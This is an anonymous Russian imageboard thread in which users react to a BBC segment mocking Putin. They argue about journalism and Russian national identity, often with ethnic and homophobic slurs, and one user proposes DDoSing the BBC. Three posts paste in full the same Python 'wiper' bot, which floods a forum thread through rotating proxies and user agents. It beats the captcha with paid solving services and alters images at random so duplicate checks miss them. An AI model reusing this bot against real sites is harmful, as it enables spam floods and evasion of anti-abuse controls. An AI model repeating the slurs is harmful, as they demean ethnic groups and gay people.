Бред


Ответить в тред Ответить в тред

<<
Назад | Вниз | Каталог | Обновить тред | Автообновление
106 18 38

Аноним 25/05/19 Суб 18:48:10 1970080031
image.png (2617Кб, 1920x1200)
1920x1200
Там на BBC издеваются над нашим президентом.
Кооперируемся ИТТ, решаем, как будем мстить, набигать и все такое.
Аноним 25/05/19 Суб 18:48:38 1970080372
Аноним 25/05/19 Суб 18:49:44 1970080863
Аноним 25/05/19 Суб 18:50:34 1970081264
Где все патриоты?
Аноним 25/05/19 Суб 18:51:04 1970081615
А зачем? Подобные высеры это признание их несостоятельности в плане конкуренции и силы. Они проебали ментальную битву.

Я бы лучше кооперировался ИТТ и решал как вырваться из нищеты и хуёвых условий жизни в РФ.
Аноним 25/05/19 Суб 18:51:10 1970081646
>>197008003 (OP)
можешь голубя своему хуйлу царю запустить, что на самом деле у него не SMALL PENIS
Аноним 25/05/19 Суб 18:51:32 1970081907
>>197008161
> как вырваться из нищеты и хуёвых условий жизни в РФ.
В РФ нет нищеты и хуевых условий. Зачем ты врешь?
25/05/19 Суб 18:52:00 1970082148
15525562967380.webm (390Кб, 640x360, 00:00:11)
640x360
Аноним 25/05/19 Суб 18:52:38 1970082469
вкатываюсь
предлагаю дудосить бибиси
Аноним 25/05/19 Суб 18:53:04 19700827310
>>197008003 (OP)
Пидорахе неприятно за то что вождя оскорбляют?
Аноним 25/05/19 Суб 18:53:06 19700827511
>>197008214
Совок умел в тонкоту, ведь за анекдоты про Сталина убивали нахуй .
Аноним 25/05/19 Суб 18:53:39 19700830612
15582961227990.png (363Кб, 570x562)
570x562
>>197008003 (OP)
>Там на BBC издеваются над нашим президентом.
>Кооперируемся ИТТ, решаем, как будем мстить, набигать и все такое.
Аноним 25/05/19 Суб 18:54:11 19700834013
image.png (19842Кб, 2374x3508)
2374x3508
>>197008275
Моя любимая тонкота пикрил
Аноним 25/05/19 Суб 18:55:37 19700841614
Бамп патриотам
Аноним 25/05/19 Суб 18:56:15 19700844815
>>197008161
Че там думать. Бери производи товар/услугу, реализуй его среди ЦА.
Аноним 25/05/19 Суб 18:56:43 19700847416
>>197008448
> Бери производи товар/услугу, реализуй его среди ЦА, отдавай бизнес чеченам/фсб
Аноним 25/05/19 Суб 18:58:36 19700858817
>>197008474
Отдавать можешь кому хочешь.
Аноним 25/05/19 Суб 18:58:59 19700860518
>>197008003 (OP)
На самом деле можно как угодно относится к путину, но подобные вещи - это низость недостойная крупной журналистики и вообще как то по детски.
Аноним 25/05/19 Суб 18:59:33 19700863419
Аноним 25/05/19 Суб 19:00:06 19700866520
>>197008605
Т.е. путя может быть пидором, а ббс значит не могут шутить?
Аноним 25/05/19 Суб 19:00:20 19700868121
>>197008634
Это твое дело, хочешь отдавать кому скажут, валяй.
Аноним 25/05/19 Суб 19:00:45 19700869522
Аноним 25/05/19 Суб 19:01:01 19700871223
>>197008003 (OP)
гыгык, мой хуй настолько маленький)))000ыы))))00)
Охуеть, неужели мировая журналистика настолько низко пала?
Это всё равно что если бы где нибудь на первом канале начали называть обаму - бибизяной или что то подобное. Просто нахуй дно.
Аноним 25/05/19 Суб 19:01:20 19700872724
В треде только зумеры что ли? Были на НТВ Куклы в свое время.
Аноним 25/05/19 Суб 19:01:58 19700876825
>>197008665
Они могут шутить как угодно тупо и плоско. Но это их же репутация. Это просто глупо.
Аноним 25/05/19 Суб 19:02:33 19700880126
image.png (325Кб, 480x360)
480x360
>>197008712
> если бы где нибудь на первом канале начали называть обаму - бибизяной или что то подобное.
Аноним 25/05/19 Суб 19:02:53 19700882227
>>197008768
прозреваю, что им похуй на мнение людей из засранной тоталитарной параши
Аноним 25/05/19 Суб 19:03:07 19700883228
>>197008712
Вся журналистика пала. Они даже свои новости смонтировать не могут, в каждом выпуске обсёр либо со звуком, либо с картинкой.
Хули с них спрашивать, платят то там минималку.
Аноним 25/05/19 Суб 19:03:19 19700884229
>>197008801
И что здесь сравнимого?
Аноним 25/05/19 Суб 19:04:00 19700889230
15556443551670.png (278Кб, 512x463)
512x463
>>197008003 (OP)
> Там на BBC издеваются над нашим президентом.
> Кооперируемся ИТТ, решаем, как будем мстить, набигать и все такое.
Аноним 25/05/19 Суб 19:04:12 19700890031
>>197008665
Президент = отражение и представитель нации. Неуважение к президенту и выставлять его в шутливой форме, а тем более сделать из этого шоу = оскорбить нацию. Всё просто
Аноним 25/05/19 Суб 19:04:23 19700891232
>>197008822
>прозреваю, что им похуй на мнение людей из засранной тоталитарной параши
Ну, пока что эта "параша" многое решает на мировой арене. Слишком категорично оцениваешь, анон.
Аноним 25/05/19 Суб 19:04:58 19700894633
Аноним 25/05/19 Суб 19:05:02 19700894934
Аноним 25/05/19 Суб 19:05:05 19700895035
Аноним 25/05/19 Суб 19:05:27 19700897336
>>197008712
Так это очень удачный ход. Пыня очень комплексует по поводу того, что он маленький. Телеканалы монтируют видосы так, чтобы Пынька либо был одного роста с другим человеком, либо чтобы разница в росте не была сильно выделяющейся.

https://www.youtube.com/watch?v=-owzrj0Z_hw
Аноним 25/05/19 Суб 19:05:32 19700897937
>>197008900
Президент не равно отражение нации. Просто чувак с определенными полномочиями.
Аноним 25/05/19 Суб 19:05:52 19700900238
Аноним 25/05/19 Суб 19:07:13 19700908039
>>197008979
Потому что у нас нет единой нации.
Аноним 25/05/19 Суб 19:07:30 19700909040
>>197008973
Хохол, у тебя своих проблем нет?
Аноним 25/05/19 Суб 19:08:18 19700913341
Аноним 25/05/19 Суб 19:08:38 19700915142
15587327758990.png (348Кб, 676x676)
676x676
>>197008900
>Президент = отражение и представитель нации. Неуважение к президенту и выставлять его в шутливой форме, а тем более сделать из этого шоу = оскорбить нацию.
Аноним 25/05/19 Суб 19:09:45 19700921443
>>197009080
Это почему? Границы установлены, законы федеральные едины, язык один, образование общее на всей территории. На лицо все признаки нации.
Аноним 25/05/19 Суб 19:10:04 19700923644
25/05/19 Суб 19:11:00 19700927745
репорт политика
в порашу
Аноним 25/05/19 Суб 19:11:17 19700930146
>>197009214
>язык один
Тебя за это чечены прирежут, русак
25/05/19 Суб 19:11:28 19700931247
image.png (8Кб, 451x255)
451x255
Аноним 25/05/19 Суб 19:11:29 19700931348
Аноним 25/05/19 Суб 19:11:47 19700933049
>>197008900
Привыкай, во взрослой жизни над тобой имеет право шутить любой.
25/05/19 Суб 19:11:58 19700933850
Аноним 25/05/19 Суб 19:12:00 19700934151
>>197009090
И пидорана порвалась попа из-за того, что его президента обижают в интернетике?
Аноним 25/05/19 Суб 19:12:02 19700934652
>>197009214
Потому что у нас нет единой нации. Вот почему. В каждой области своя народность со своей культурой и музеями, даже со своим языком. То что вы из своих дс-1 и дс-2 никогда не вылезаете, РУЗКЕ ВПИРЁД, не значит, что везде Москва и Питер. В регионах даже знаки на дороге на Эрзе и на Мокше стоят.
Аноним 25/05/19 Суб 19:13:28 19700941553
>>197008214
Проигрываю. Вот, где юмор то остался.
Подскажите, пожалуйста, юмористических фильмов/мультов из лампового СССР, аноны.
25/05/19 Суб 19:14:24 19700946054
15585494873840.png (4767Кб, 1362x3782)
1362x3782
Аноним 25/05/19 Суб 19:15:18 19700951055
Аноним 25/05/19 Суб 19:16:11 19700955656
25/05/19 Суб 19:16:56 19700959657
>>197008900
През - временный администратор. Уровня телочек в сбере, которые распечатывают талончики в очередь для всяких пенсов. Чисто временная избираемая фигура, необходимая для упрощения и удобства граждан.
А не Отражение Нации или Царь-Батюшка. Никто уже не ведется на эти ваши влажные лахтофантазии. Надо было вам раньше инет закрывать.
Аноним 25/05/19 Суб 19:16:58 19700960058
>>197009346
Иди на хуй, я род из Грозного, до 9 лет там жил. Наличие истории у этносов - это абсолютно естественно, и не мешает всем иметь общую культуру и язык передающиеся в школах. Я тебе выше написал, по всем признакам есть нация, наличие истории и кулбюьтурных особенностей у отдельных этносов этого не отменяет.
25/05/19 Суб 19:17:26 19700962159
>>197009510
боты с параши тригернулись.
какое-то слово было активатором
Аноним 25/05/19 Суб 19:18:16 19700967260
>>197009600
>до 9 лет там жил
а чому уехал?
Аноним 25/05/19 Суб 19:18:18 19700967361
image.png (325Кб, 480x360)
480x360
25/05/19 Суб 19:18:29 19700968462
Пыньк
Аноним 25/05/19 Суб 19:18:45 19700969163
>>197008161
>Подобные высеры это признание их несостоятельности в плане конкуренции и силы
пхахах) ну да, очень состоятельно и конкурентоспособно показывать мультики о мифических ракетах на ядерном топливе, которые пролетают через всю планету)
люди контент делают, а в пидорашке одно дерьмо типа скабеевых, киселевых и т. д.
Аноним 25/05/19 Суб 19:20:59 19700978564
image.png (743Кб, 1300x960)
1300x960
Аноним 25/05/19 Суб 19:21:07 19700979365
>>197009621
>>197009460
Идиот не знает, что это вайп политикой. Когда была острой тема Украины я так нелюбимые треды вайпал, чтоб скатить их
25/05/19 Суб 19:22:03 19700984466
>>197009793
вайп бесконечного треда. в разделе /cc

+15
25/05/19 Суб 19:22:52 19700989167
import requests
import base64
import time
import sys
import threading
import io
import PIL.Image
import random
import string
import collections
import os
import socket
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

TIMEOUT = 5

class CaptchaSolver_anticaptcha:
def __init__(self, key):
self.api = "https://api.anti-captcha.com/"
self.key = key
print("Solver 'anti-captcha' initialized with key: " + self.key)

def solve(self, image):
task = {}
task["type"] = "ImageToTextTask"
task["body"] = base64.b64encode(image).decode("utf-8")
task["phrase"] = False
task["case"] = False
task["numeric"] = 1
task["math"] = False
task["minLength"] = 6
task["maxLength"] = 6
data = requests.post(self.api + "createTask", json={"clientKey": self.key, "task": task}, verify=False).json()
if (data["errorId"] == 0):
while True:
response = requests.post(self.api + "getTaskResult", json={"clientKey" : self.key, "taskId" : str(data["taskId"])}, verify=False).json()
if (response["status"] == "ready"):
return response["solution"]["text"]
time.sleep(3)

class CaptchaSolver_rucaptcha:
def __init__(self, key):
self.api = "https://rucaptcha.com/"
self.key = key
print("Solver 'rucaptcha' initialized with key: " + self.key)

def solve(self, image):
data = requests.post(self.api + "in.php", data={"key": self.key, "method": "base64", "body": base64.b64encode(image).decode("utf-8"), "numeric": 1, "min_len": 6, "max_len": 6, "json": 1}, verify=False).json()
if (data["status"] == 1):
while True:
response = requests.get(self.api + "res.php?key=" + self.key + "&action=get&id=" + data["request"] + "&json=1", verify=False).json()
if (response["status"] == 1):
return response["request"]
time.sleep(3)

class Captcha:
def __init__(self, proxy, agent, board, thread, solver):
self.api = "https://2ch.hk/api/captcha/2chaptcha/"
self.proxy = proxy
self.agent = agent
self.board = board
self.thread = thread
self.solver = solver
captcha = requests.get(self.api + "id?board=" + self.board + "&thread=" + self.thread, proxies=self.proxy, headers=self.agent, timeout=TIMEOUT, verify=False).json()
self.id = captcha["id"]
self.image = requests.get(self.api + "image/" + self.id, proxies=self.proxy, headers=self.agent, timeout=TIMEOUT, verify=False).content

def solve(self):
print(self.proxy["http"], "solving captcha")
self.value = self.solver.solve(self.image)
return (None, self.id), (None, self.value)

def verify(self):
return requests.get(self.api + "check/" + self.id + '?value=' + self.value, proxies=self.proxy, headers=self.agent, verify=False).json()["result"] == 1

class Post:
def __init__(self, proxy, agent, board, thread, solver):
self.proxy = {"http": proxy, "https": proxy}
self.agent = {"User-Agent": agent}
self.board = board
self.thread = thread
self.solver = solver
self.params = {}
self.params["task"] = (None, "post")
self.params["board"] = (None, self.board)
self.params["thread"] = (None, self.thread)
self.params["captcha_type"] = (None, "2chaptcha")

def prepare(self):
try:
self.params["2chaptcha_id"], self.params["2chaptcha_value"] = Captcha(self.proxy, self.agent, self.board, self.thread, self.solver).solve()
print(self.proxy["http"], "solved")
return True
except Exception as e:
# print(e)
return False

def set_subject(self, text):
self.params["subject"] = (None, text)

def set_text(self, text):
self.params["comment"] = (None, text)

def set_image(self, file_name, file_name_displayed):
image = PIL.Image.open(file_name).convert("RGB")
width, height = image.size
for x in range(random.randint(1, 10)): image.putpixel((random.randint(0, width-1), random.randint(0, height-1)), (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)))
image = image.crop((0 + random.randint(0, 10), 0 + random.randint(0, 10), width-1 - random.randint(0, 10), height-1 - random.randint(0, 10)))
image_bytes = io.BytesIO()
image.save(image_bytes, "JPEG", quality=60 + random.randint(10, 30), optimize=bool(random.getrandbits(1)), progressive=bool(random.getrandbits(1)))
image.close()

self.params["formimages"] = (file_name_displayed, image_bytes.getvalue(), "image")

def clear_image(self):
self.params["formimages"] = ()

def send(self):
response = {}
try:
print(self.proxy["http"], "posting")
response = requests.post("https://2ch.hk/makaba/posting.fcgi?json=1", files=self.params, proxies=self.proxy, headers=self.agent, timeout=TIMEOUT, verify=False).json()
return response["Error"] == None, response
except Exception as e:
# print(e)
return False, response

class Wiper:
def __init__(self, board, thread):
print("Wiper started")
self.proxies = [proxy[:-1] for proxy in open("proxies").readlines()]
random.shuffle(self.proxies);
self.agents = [agent[:-1] for agent in open("useragents").readlines()]
self.board = board
self.thread = thread
self.solver = CaptchaSolver_anticaptcha("anti-captcha.com api key")
# self.solver = CaptchaSolver_rucaptcha("rucaptcha.com api key")

def send_post(self):
if (len(self.proxies) == 0): return False
proxy = self.proxies.pop(0)
agent = random.choice(self.agents)
response = {"Error": "proxy"}
try:
post = Post(proxy, agent, self.board, self.thread, self.solver)
while True:
if (post.prepare()):
post.set_text("ALLO YOBA ETO TI")
post.set_image("./yoba.png", "blob")
success, response = post.send()
if (success):
post_id = 0
try:
post_id = response["Target"]
except:
post_id = response["Num"]
print(proxy + " - success. Post id: " + str(post_id))
self.proxies.push(proxy)
break
else:
print(proxy, "posting failed -", response)
try:
if ((response["Error"] != 6) and (response["Error"] != 4)): raise
except:
self.proxies.push(proxy)
raise
except Exception as e:
pass
# print(proxy, "-", response, e)

return True

def wipe(self, thread_count):
class WiperThread(threading.Thread):
def __init__(self, wiper):
threading.Thread.__init__(self)
self.wiper = wiper

def run(self):
while self.wiper.send_post(): pass

threads = []
for i in range(thread_count):
threads.append(WiperThread(self))
threads[-1].start()

for thread in threads:
thread.join()

Wiper(sys.argv[1], sys.argv[2]).wipe(int(sys.argv[3]))
Аноним 25/05/19 Суб 19:22:53 19700989268
>>197009600
>я род из Грозного
Ты в первую очередь петух.
>не мешает всем иметь общую культуру и язык передающиеся в школах.
В школа преподаётся эрзя и мокша, татарский язык. То что все вынуждены знать русский не показатель - так же можно сказать, что все европейцы британская нация, ведь английский знают все.
> общую культуру
Какая же она общая? Вот у Эрзя свои праздники и обычаи, у Мокши свои, у Татар другие. С чего бы культура стала общая, у каждой народности культура своя.
>по всем признакам есть нация
Наличие языка международного - не делает из разных народов одну нацию. Не надо подменять понятия, граждане =! нация.
>иметь общую культуру
>наличие истории и кулбюьтурных особенностей
Шизофрения, ничего удивительно, что свина слушают чурбаны из Грозного. Ээээ блят закурить есть?
Аноним 25/05/19 Суб 19:22:57 19700989869
>>197009672
Работы не было у родителей. Отец судимость получил за мошеничество. Решил, что лучше работать видимо.
25/05/19 Суб 19:23:08 19700990670
import requests
import base64
import time
import sys
import threading
import io
import PIL.Image
import random
import string
import collections
import os
import socket
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

TIMEOUT = 5

class CaptchaSolver_anticaptcha:
def __init__(self, key):
self.api = "https://api.anti-captcha.com/"
self.key = key
print("Solver 'anti-captcha' initialized with key: " + self.key)

def solve(self, image):
task = {}
task["type"] = "ImageToTextTask"
task["body"] = base64.b64encode(image).decode("utf-8")
task["phrase"] = False
task["case"] = False
task["numeric"] = 1
task["math"] = False
task["minLength"] = 6
task["maxLength"] = 6
data = requests.post(self.api + "createTask", json={"clientKey": self.key, "task": task}, verify=False).json()
if (data["errorId"] == 0):
while True:
response = requests.post(self.api + "getTaskResult", json={"clientKey" : self.key, "taskId" : str(data["taskId"])}, verify=False).json()
if (response["status"] == "ready"):
return response["solution"]["text"]
time.sleep(3)

class CaptchaSolver_rucaptcha:
def __init__(self, key):
self.api = "https://rucaptcha.com/"
self.key = key
print("Solver 'rucaptcha' initialized with key: " + self.key)

def solve(self, image):
data = requests.post(self.api + "in.php", data={"key": self.key, "method": "base64", "body": base64.b64encode(image).decode("utf-8"), "numeric": 1, "min_len": 6, "max_len": 6, "json": 1}, verify=False).json()
if (data["status"] == 1):
while True:
response = requests.get(self.api + "res.php?key=" + self.key + "&action=get&id=" + data["request"] + "&json=1", verify=False).json()
if (response["status"] == 1):
return response["request"]
time.sleep(3)

class Captcha:
def __init__(self, proxy, agent, board, thread, solver):
self.api = "https://2ch.hk/api/captcha/2chaptcha/"
self.proxy = proxy
self.agent = agent
self.board = board
self.thread = thread
self.solver = solver
captcha = requests.get(self.api + "id?board=" + self.board + "&thread=" + self.thread, proxies=self.proxy, headers=self.agent, timeout=TIMEOUT, verify=False).json()
self.id = captcha["id"]
self.image = requests.get(self.api + "image/" + self.id, proxies=self.proxy, headers=self.agent, timeout=TIMEOUT, verify=False).content

def solve(self):
print(self.proxy["http"], "solving captcha")
self.value = self.solver.solve(self.image)
return (None, self.id), (None, self.value)

def verify(self):
return requests.get(self.api + "check/" + self.id + '?value=' + self.value, proxies=self.proxy, headers=self.agent, verify=False).json()["result"] == 1

class Post:
def __init__(self, proxy, agent, board, thread, solver):
self.proxy = {"http": proxy, "https": proxy}
self.agent = {"User-Agent": agent}
self.board = board
self.thread = thread
self.solver = solver
self.params = {}
self.params["task"] = (None, "post")
self.params["board"] = (None, self.board)
self.params["thread"] = (None, self.thread)
self.params["captcha_type"] = (None, "2chaptcha")

def prepare(self):
try:
self.params["2chaptcha_id"], self.params["2chaptcha_value"] = Captcha(self.proxy, self.agent, self.board, self.thread, self.solver).solve()
print(self.proxy["http"], "solved")
return True
except Exception as e:
# print(e)
return False

def set_subject(self, text):
self.params["subject"] = (None, text)

def set_text(self, text):
self.params["comment"] = (None, text)

def set_image(self, file_name, file_name_displayed):
image = PIL.Image.open(file_name).convert("RGB")
width, height = image.size
for x in range(random.randint(1, 10)): image.putpixel((random.randint(0, width-1), random.randint(0, height-1)), (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)))
image = image.crop((0 + random.randint(0, 10), 0 + random.randint(0, 10), width-1 - random.randint(0, 10), height-1 - random.randint(0, 10)))
image_bytes = io.BytesIO()
image.save(image_bytes, "JPEG", quality=60 + random.randint(10, 30), optimize=bool(random.getrandbits(1)), progressive=bool(random.getrandbits(1)))
image.close()

self.params["formimages"] = (file_name_displayed, image_bytes.getvalue(), "image")

def clear_image(self):
self.params["formimages"] = ()

def send(self):
response = {}
try:
print(self.proxy["http"], "posting")
response = requests.post("https://2ch.hk/makaba/posting.fcgi?json=1", files=self.params, proxies=self.proxy, headers=self.agent, timeout=TIMEOUT, verify=False).json()
return response["Error"] == None, response
except Exception as e:
# print(e)
return False, response

class Wiper:
def __init__(self, board, thread):
print("Wiper started")
self.proxies = [proxy[:-1] for proxy in open("proxies").readlines()]
random.shuffle(self.proxies);
self.agents = [agent[:-1] for agent in open("useragents").readlines()]
self.board = board
self.thread = thread
self.solver = CaptchaSolver_anticaptcha("anti-captcha.com api key")
# self.solver = CaptchaSolver_rucaptcha("rucaptcha.com api key")

def send_post(self):
if (len(self.proxies) == 0): return False
proxy = self.proxies.pop(0)
agent = random.choice(self.agents)
response = {"Error": "proxy"}
try:
post = Post(proxy, agent, self.board, self.thread, self.solver)
while True:
if (post.prepare()):
post.set_text("ALLO YOBA ETO TI")
post.set_image("./yoba.png", "blob")
success, response = post.send()
if (success):
post_id = 0
try:
post_id = response["Target"]
except:
post_id = response["Num"]
print(proxy + " - success. Post id: " + str(post_id))
self.proxies.push(proxy)
break
else:
print(proxy, "posting failed -", response)
try:
if ((response["Error"] != 6) and (response["Error"] != 4)): raise
except:
self.proxies.push(proxy)
raise
except Exception as e:
pass
# print(proxy, "-", response, e)

return True

def wipe(self, thread_count):
class WiperThread(threading.Thread):
def __init__(self, wiper):
threading.Thread.__init__(self)
self.wiper = wiper

def run(self):
while self.wiper.send_post(): pass

threads = []
for i in range(thread_count):
threads.append(WiperThread(self))
threads[-1].start()

for thread in threads:
thread.join()

Wiper(sys.argv[1], sys.argv[2]).wipe(int(sys.argv[3]))
25/05/19 Суб 19:23:46 19700994971
import requests
import base64
import time
import sys
import threading
import io
import PIL.Image
import random
import string
import collections
import os
import socket
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

TIMEOUT = 5

class CaptchaSolver_anticaptcha:
def __init__(self, key):
self.api = "https://api.anti-captcha.com/"
self.key = key
print("Solver 'anti-captcha' initialized with key: " + self.key)

def solve(self, image):
task = {}
task["type"] = "ImageToTextTask"
task["body"] = base64.b64encode(image).decode("utf-8")
task["phrase"] = False
task["case"] = False
task["numeric"] = 1
task["math"] = False
task["minLength"] = 6
task["maxLength"] = 6
data = requests.post(self.api + "createTask", json={"clientKey": self.key, "task": task}, verify=False).json()
if (data["errorId"] == 0):
while True:
response = requests.post(self.api + "getTaskResult", json={"clientKey" : self.key, "taskId" : str(data["taskId"])}, verify=False).json()
if (response["status"] == "ready"):
return response["solution"]["text"]
time.sleep(3)

class CaptchaSolver_rucaptcha:
def __init__(self, key):
self.api = "https://rucaptcha.com/"
self.key = key
print("Solver 'rucaptcha' initialized with key: " + self.key)

def solve(self, image):
data = requests.post(self.api + "in.php", data={"key": self.key, "method": "base64", "body": base64.b64encode(image).decode("utf-8"), "numeric": 1, "min_len": 6, "max_len": 6, "json": 1}, verify=False).json()
if (data["status"] == 1):
while True:
response = requests.get(self.api + "res.php?key=" + self.key + "&action=get&id=" + data["request"] + "&json=1", verify=False).json()
if (response["status"] == 1):
return response["request"]
time.sleep(3)

class Captcha:
def __init__(self, proxy, agent, board, thread, solver):
self.api = "https://2ch.hk/api/captcha/2chaptcha/"
self.proxy = proxy
self.agent = agent
self.board = board
self.thread = thread
self.solver = solver
captcha = requests.get(self.api + "id?board=" + self.board + "&thread=" + self.thread, proxies=self.proxy, headers=self.agent, timeout=TIMEOUT, verify=False).json()
self.id = captcha["id"]
self.image = requests.get(self.api + "image/" + self.id, proxies=self.proxy, headers=self.agent, timeout=TIMEOUT, verify=False).content

def solve(self):
print(self.proxy["http"], "solving captcha")
self.value = self.solver.solve(self.image)
return (None, self.id), (None, self.value)

def verify(self):
return requests.get(self.api + "check/" + self.id + '?value=' + self.value, proxies=self.proxy, headers=self.agent, verify=False).json()["result"] == 1

class Post:
def __init__(self, proxy, agent, board, thread, solver):
self.proxy = {"http": proxy, "https": proxy}
self.agent = {"User-Agent": agent}
self.board = board
self.thread = thread
self.solver = solver
self.params = {}
self.params["task"] = (None, "post")
self.params["board"] = (None, self.board)
self.params["thread"] = (None, self.thread)
self.params["captcha_type"] = (None, "2chaptcha")

def prepare(self):
try:
self.params["2chaptcha_id"], self.params["2chaptcha_value"] = Captcha(self.proxy, self.agent, self.board, self.thread, self.solver).solve()
print(self.proxy["http"], "solved")
return True
except Exception as e:
# print(e)
return False

def set_subject(self, text):
self.params["subject"] = (None, text)

def set_text(self, text):
self.params["comment"] = (None, text)

def set_image(self, file_name, file_name_displayed):
image = PIL.Image.open(file_name).convert("RGB")
width, height = image.size
for x in range(random.randint(1, 10)): image.putpixel((random.randint(0, width-1), random.randint(0, height-1)), (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)))
image = image.crop((0 + random.randint(0, 10), 0 + random.randint(0, 10), width-1 - random.randint(0, 10), height-1 - random.randint(0, 10)))
image_bytes = io.BytesIO()
image.save(image_bytes, "JPEG", quality=60 + random.randint(10, 30), optimize=bool(random.getrandbits(1)), progressive=bool(random.getrandbits(1)))
image.close()

self.params["formimages"] = (file_name_displayed, image_bytes.getvalue(), "image")

def clear_image(self):
self.params["formimages"] = ()

def send(self):
response = {}
try:
print(self.proxy["http"], "posting")
response = requests.post("https://2ch.hk/makaba/posting.fcgi?json=1", files=self.params, proxies=self.proxy, headers=self.agent, timeout=TIMEOUT, verify=False).json()
return response["Error"] == None, response
except Exception as e:
# print(e)
return False, response

class Wiper:
def __init__(self, board, thread):
print("Wiper started")
self.proxies = [proxy[:-1] for proxy in open("proxies").readlines()]
random.shuffle(self.proxies);
self.agents = [agent[:-1] for agent in open("useragents").readlines()]
self.board = board
self.thread = thread
self.solver = CaptchaSolver_anticaptcha("anti-captcha.com api key")
# self.solver = CaptchaSolver_rucaptcha("rucaptcha.com api key")

def send_post(self):
if (len(self.proxies) == 0): return False
proxy = self.proxies.pop(0)
agent = random.choice(self.agents)
response = {"Error": "proxy"}
try:
post = Post(proxy, agent, self.board, self.thread, self.solver)
while True:
if (post.prepare()):
post.set_text("ALLO YOBA ETO TI")
post.set_image("./yoba.png", "blob")
success, response = post.send()
if (success):
post_id = 0
try:
post_id = response["Target"]
except:
post_id = response["Num"]
print(proxy + " - success. Post id: " + str(post_id))
self.proxies.push(proxy)
break
else:
print(proxy, "posting failed -", response)
try:
if ((response["Error"] != 6) and (response["Error"] != 4)): raise
except:
self.proxies.push(proxy)
raise
except Exception as e:
pass
# print(proxy, "-", response, e)

return True

def wipe(self, thread_count):
class WiperThread(threading.Thread):
def __init__(self, wiper):
threading.Thread.__init__(self)
self.wiper = wiper

def run(self):
while self.wiper.send_post(): pass

threads = []
for i in range(thread_count):
threads.append(WiperThread(self))
threads[-1].start()

for thread in threads:
thread.join()

Wiper(sys.argv[1], sys.argv[2]).wipe(int(sys.argv[3]))
Аноним 25/05/19 Суб 19:24:02 19700997172
winteriscoming.jpg (55Кб, 541x541)
541x541
лично мне поебать
Аноним 25/05/19 Суб 19:25:06 19701004073
25/05/19 Суб 19:26:30 19701012174
в /po
25/05/19 Суб 19:27:01 19701015375
в /po
Аноним 25/05/19 Суб 19:27:01 19701015576
>>197009892
У них свои праздники, а еще общие, которых в несколько раз больше своих. В школе передается русский, образование обязательное школьное, так что не пизди. Тебе видимо просто нацмены в штаны насрали, вот тебе и припекает с того, что оказывается у них есть свои еще язык и пара праздников.
25/05/19 Суб 19:27:54 19701020777
в /POрашу
Аноним 25/05/19 Суб 19:29:42 19701030778
>>197008892
Не, это не лахта, лахта это когда резко начнут говорить про окатышей.
Аноним 25/05/19 Суб 19:31:52 19701043579
>>197008003 (OP)
Не вижу ничего плохого, можешь сосать писю Солнцеликому и дальше
Аноним 25/05/19 Суб 19:32:05 19701044980
Либераши засрали весь треди, дебички)))
Аноним 25/05/19 Суб 19:32:08 19701045181
Аноним 25/05/19 Суб 19:34:51 19701061882
>>197010155
Государственные ты хотел сказать и те, которые они своими не считают, но празднуют заодно с соседями.
> В школе передается русский, образование обязательное школьное
В школе и в университете преподаётся Эрзя и Мокша, а там где татары учатся - есть татарский язык. Но зато у нас в школах абсолютно во всех преподают с 1 по 11 класс ещё и английский, может мы ещё в нацию англичан входим? Праздники мы их празднуем.
Нет никакой общей нации. Если ты подводишь под обязаловку государственную - тогда стоит называть это гражданством. Есть граждане, но нации никакой нет. Потому что общей культуры нет, языки разные. Образование общее и границы очерченные это критерии не нации.
Прекрасно же знаешь, что ощущаем мы всех этих татар, Мокшей и дагов не как часть нашего сообщества, зачем пыжиться и натягивать желаемое на действительное?
25/05/19 Суб 19:36:33 19701074783
wallpaper5kaocii.jpg (7020Кб, 5120x2880)
5120x2880
Аноним 25/05/19 Суб 19:37:52 19701081584
3.jpg (114Кб, 971x557)
971x557
Аноним 25/05/19 Суб 19:44:04 19701122585
>>197010618
Ну лично ты не ощущаешь, я понимаю почему. Это как раз характерно для ДСов. А так вполне себе дружно могут жить, да и жили при совке многие. Еще не мало времени должно пройти, чтобы этносы было сложно между собой стравливать на почве истории.
Аноним 25/05/19 Суб 19:48:45 19701156286
>>197011225
>Это как раз характерно для ДСов.
Я не живу в ДС. Я живу среди татар и мошки, но я всё равно не воспринимаю их частью одного сообщества. У них своя культура, свои порядки, свой язык, имена не похожи на наши. Внешность тоже отличается.
> А так вполне себе дружно могут жить, да и жили при совке многие
При совке тоже не было общей нации. Дружба народов =! единая нация.
Это считай, что иностранцы, с ними разговаривать то лишний раз стрёмно - у них же свой этикет.
Аноним 25/05/19 Суб 19:57:34 19701200887
Все те, кто кудахчет про политику на серьезных щах, я не пойму, вы действительно настолько дегенераты, что пытаетесь обсуждать вопросы, в которых нихуя не шарите?
Одни пиздят, что надо Пыню нахуй свергнуть, другие пиздят, что национальности общей нету.
Политологи диванные, вы себе элементарно тянку найти не можете и перестать быть пидорами (по несколько гомо-тредов каждый день), куда вы в политику лезете, ебантяи
25/05/19 Суб 19:58:26 19701205588
Аноним 25/05/19 Суб 19:58:28 19701206189
image.png (8Кб, 529x144)
529x144
Аноним 25/05/19 Суб 20:00:43 19701218490
>>197011562
Если ты хочешь сказать, что национальные связи между людьми одного этноса сильнее намного. С этим спорить не буду. А в таком общем определении нации, не могу сказать, что она отсутствует.
Аноним 25/05/19 Суб 20:15:35 19701299491
inv2.mp4 (326Кб, 656x368, 00:00:04)
656x368
Аноним 25/05/19 Суб 20:28:29 19701375092
>>197008605
>>197008605
>>BBC
>журналстика
кек ты бы еще ТАЙМС или НЬЮ ЙОРК ТАЙМС навал жуналисткой

это просто витрины пропаганды, в чей пиар вкладывается много траффика
Аноним 25/05/19 Суб 21:39:29 19701770793
>>197012994
Всмысле, это как так он сделал?
Аноним 25/05/19 Суб 21:56:54 19701869394
>>197008900
А вот и зумерок лахтинец
Аноним 25/05/19 Суб 21:57:35 19701874395
>>197013750
То ли дело росиянские сми
Аноним 25/05/19 Суб 21:59:13 19701883696
>>197011562
>с ними разговаривать то лишний раз стрёмно - у них же свой этикет.
Ебанутое животное.
>стремно
Школьником быть стремно
Аноним 25/05/19 Суб 22:01:05 19701895397
